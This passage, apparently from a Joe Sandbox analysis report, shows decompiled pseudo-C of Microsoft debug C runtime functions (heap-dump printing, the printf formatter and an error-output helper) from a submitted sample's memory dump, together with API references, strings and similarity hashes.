					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E0041AE60(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E00423010(E0041AE60(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E004230C0(_t70, _t98, _t99,  *(_t100 - 0x61) & 0x000000ff, 0x157, E0041AE60(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L00422E80( *(_t100 - 0x74))));
					 *((intOrPtr*)(L00422E80( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042BC70(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E0041DA60( *((intOrPtr*)(L00422E80(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L00422E80(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L00429590(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E0042BCD0(E0041AE30(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x0041d8e7
0x0041d8e7
0x0041d8e7
0x0041d8ed
0x0041d8f7
0x0041d904
0x0041d8f9
0x0041d8fc
0x0041d8ff
0x0041d8ff
0x0041d911
0x00000000
0x00000000
0x0041d917
0x0041d920
0x0041d92d
0x0041d975
0x0041d97a
0x0041d97d
0x0041d942
0x0041d955
0x0041d95a
0x0041d95d
0x0041d95d
0x0041d984
0x0041d98f
0x0041d986
0x0041d98a
0x0041d98a
0x0041d99c
0x0041d9a7
0x0041d9af
0x0041d9d3
0x0041d9d8
0x0041d9dd
0x0041d9e2
0x0041da06
0x0041da0b
0x0041da0b
0x0041da16
0x0041da16
0x0041da1d
0x0041da1d
0x0041da20
0x0041da28
0x0041da45
0x0041da47
0x0041da47
0x0041da5d

APIs

__isctype_l.LIBCMTD ref: 0041D955
_swprintf_s.LIBCMTD ref: 0041D9D8
__invoke_watson_if_oneof.LIBCMTD ref: 0041DA06

Strings

_printMemBlockData, xrefs: 0041D9F0
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041D9EB
%.2X , xrefs: 0041D9BA
(*_errno()), xrefs: 0041D9F5

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: 67f1fa1e851d930a352416177e1e8d96c5b2e25d8dbef598f97513204a86ba19
Instruction ID: 34be204c40211ef60e32b9d35fc6c59baa11202f2c69c3450673d2c8f0f18cd4
Opcode Fuzzy Hash: 67f1fa1e851d930a352416177e1e8d96c5b2e25d8dbef598f97513204a86ba19
Instruction Fuzzy Hash: 8E31D3B0E04318EFDB08DFA1C945AEDBB72AF45304F20456AE4456F382D7789A41DB48

Uniqueness

Uniqueness Score: -1.00%

Function 004290C1, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00429128
__set_error_mode.LIBCMTD ref: 00429137
GetStdHandle.KERNEL32(000000F4), ref: 0042914E
_strlen.LIBCMT ref: 00429174
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0042918C

Strings

jjj, xrefs: 00429110
t/j, xrefs: 00429161

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j
API String ID: 1121076223-194299851
Opcode ID: 9469947c48448293481fc662af6fba1eef5ff6d1bb32a070c13b1c0bb17627f4
Instruction ID: 9d80d1830e5ad7af02027a5e86e863572ad298c5b3921c3f5b21f6684d6a1d4e
Opcode Fuzzy Hash: 9469947c48448293481fc662af6fba1eef5ff6d1bb32a070c13b1c0bb17627f4
Instruction Fuzzy Hash: D721D374E00229FBFB28DB49F949B6D7370AB14304FA0816BE505572D0D3799E60CB8E

Uniqueness

Uniqueness Score: -1.00%

Function 00427D58, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427D58() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t524 - 0x260)) = 0x27;
					while(1) {
						L139:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L144:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428370(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428370(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
											 *(__ebp - 0x2ac) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428370(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
								 *(__ebp - 0x2ac) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L161;
							}
							L157:
							__eflags =  *(__ebp - 0x2ac);
							if(__eflags > 0) {
								goto L161;
							}
							L158:
							if(__eflags < 0) {
								L160:
								 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
								__edx =  *(__ebp - 0x2ac);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
								 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L162:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2b8);
										__eax =  *(__ebp - 0x2b4);
										__eax =  *(__ebp - 0x2b4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2b4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									L173:
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										L177:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L181:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L207;
												}
												L182:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2bc);
													__eax = E00435730(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00435770( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E00435730(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L203:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00435770(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L204;
												} else {
													L195:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L203;
													}
													L196:
													 *(__ebp - 0x2d4) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
													while(1) {
														L197:
														__ecx =  *(__ebp - 0x2c4);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L198:
														__eax =  *(__ebp - 0x2c0);
														 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
														__edx =  *(__ebp - 0x316) & 0x0000ffff;
														__eax = __ebp - 0x2d0;
														__ecx = __ebp - 0x2c8;
														 *(__ebp - 0x2d4) = E00434240(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														__eflags =  *(__ebp - 0x2d4);
														if( *(__ebp - 0x2d4) != 0) {
															L200:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L199:
														__eflags =  *(__ebp - 0x2c8);
														if( *(__ebp - 0x2c8) != 0) {
															L201:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c8);
															__ebp - 0x2d0 = E00435770( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L200;
													}
													L202:
													L204:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2bc);
															__eax = E00435730(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L207:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C550( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L209:
													 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
													 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
													if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
															 *(_t524 - 0x2fc) = 0;
														} else {
															 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404430) & 0x0000000f;
														}
													}
													L7:
													 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
													_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
													 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404450) >> 4;
													 *(_t524 - 0x300) =  *(_t524 - 0x25c);
													if( *(_t524 - 0x300) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M00428268))) {
														case 0:
															L9:
															 *(_t524 - 0xc) = 0;
															_t483 = E00431230( *(_t524 - 0x251) & 0x000000ff, E0041AE60(_t524 - 0x40));
															_t528 = _t526 + 8;
															if(_t483 == 0) {
																L15:
																E00435690( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t526 = _t528 + 0xc;
																goto L209;
															} else {
																E00435690( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t528 = _t528 + 0xc;
																_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																asm("sbb eax, eax");
																 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																if(_t513 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t495 = L0041E390();
																	_t528 = _t528 + 0x14;
																	if(_t495 == 1) {
																		asm("int3");
																	}
																}
																L13:
																if( *(_t524 - 0x278) != 0) {
																	goto L15;
																} else {
																	 *((intOrPtr*)(L00422E80(_t509))) = 0x16;
																	E00422C10(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t524 - 0x2e4) = 0xffffffff;
																	E0041AE30(_t524 - 0x40);
																	_t478 =  *(_t524 - 0x2e4);
																	goto L211;
																}
															}
														case 1:
															L16:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L209;
														case 2:
															L17:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															__eflags =  *(__ebp - 0x304) - 0x10;
															if( *(__ebp - 0x304) > 0x10) {
																goto L24;
															}
															L18:
															__ecx =  *(__ebp - 0x304);
															_t63 = __ecx + 0x4282a0; // 0x498d04
															__edx =  *_t63 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428288))) {
																case 0:
																	goto L21;
																case 1:
																	goto L22;
																case 2:
																	goto L20;
																case 3:
																	goto L19;
																case 4:
																	goto L23;
																case 5:
																	goto L24;
															}
														case 3:
															L25:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t87 = __ecx - 0x30; // -48
																__edx = __eax + _t87;
																 *(__ebp - 0x18) = __eax + _t87;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															L30:
															goto L209;
														case 4:
															L31:
															 *(__ebp - 0x30) = 0;
															goto L209;
														case 5:
															L32:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t98;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L209;
														case 6:
															L38:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															__eflags =  *(__ebp - 0x308) - 0x2e;
															if( *(__ebp - 0x308) > 0x2e) {
																L61:
																goto L209;
															}
															L39:
															__ecx =  *(__ebp - 0x308);
															_t106 = __ecx + 0x4282c8; // 0x7b7f9003
															__edx =  *_t106 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M004282B4))) {
																case 0:
																	L44:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L47:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L50:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L56:
																				L58:
																				goto L61;
																			}
																			L51:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L56;
																			}
																			L52:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L56;
																			}
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L56;
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L56;
																			}
																			L55:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L9;
																			}
																			goto L56;
																		}
																		L48:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	}
																	L45:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L47;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																case 1:
																	L59:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L61;
																case 2:
																	L40:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L61;
																case 3:
																	L60:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L61;
																case 4:
																	goto L61;
															}
														case 7:
															L62:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x30c) = __ecx;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															__eflags =  *(__ebp - 0x30c) - 0x37;
															if( *(__ebp - 0x30c) > 0x37) {
																while(1) {
																	L181:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															}
															L63:
															_t147 =  *(__ebp - 0x30c) + 0x428334; // 0xcccccc0d
															__ecx =  *_t147 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M004282F8))) {
																case 0:
																	L114:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L115;
																case 1:
																	L64:
